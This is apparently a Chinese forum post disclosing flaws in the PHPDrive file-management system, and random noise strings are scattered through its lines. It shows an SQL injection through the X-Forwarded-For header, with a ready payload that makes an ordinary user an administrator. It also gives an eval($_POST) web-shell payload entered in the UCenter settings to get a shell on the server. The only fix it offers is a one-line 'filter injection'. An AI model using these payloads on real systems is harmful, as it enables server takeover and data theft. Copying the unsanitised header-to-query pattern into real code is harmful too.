PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等, a3 y# z& ?. c
, T4 S; l& A5 a# [* c2 ?3 i4 v
includes/user.lib.php
7 F3 ~& i9 j8 w- t行87 C3 o9 y: N$ c C
function get_ip() {
& x( U6 ?! G+ v6 S4 i1 z. k if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.7 G: b, c# t- b" O2 y1 e6 l% u
在用户注册与登录 处module/disk/account.lead.php
+ u; S! N3 M' ]198行
, C$ F2 }/ F& D- L# Z: y, } //更新本次登录IP和时间
4 D' D- X$ u9 a, P" {) u $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
8 b! T/ Z; P; q% u a! c3 f由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
" _$ r! q t/ }- f3 @ u. B实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.% B2 K/ S6 A. ?, L
后台getshell:
+ `- d; }8 `/ u' v在UCenter设置处,将UC数据库登录名填写为
& o `' L/ f, c- o' e. }3 P T* M . E4 R. ^) n8 G- L& d% B7 W
root’);eval($_POST[DisKill]);?>/*0 I, i- y! A7 R( P/ ^ f: ]4 W) d3 V
可以得到一个shell,位置在 data/uc.data.php7 L9 O6 _( B6 n" i' [
4 ]5 M* Q( S$ L
修复:过滤注入( B/ Z! x% \5 V$ A+ N/ f1 |0 c
3 ]5 y2 P6 Q5 T4 Y
|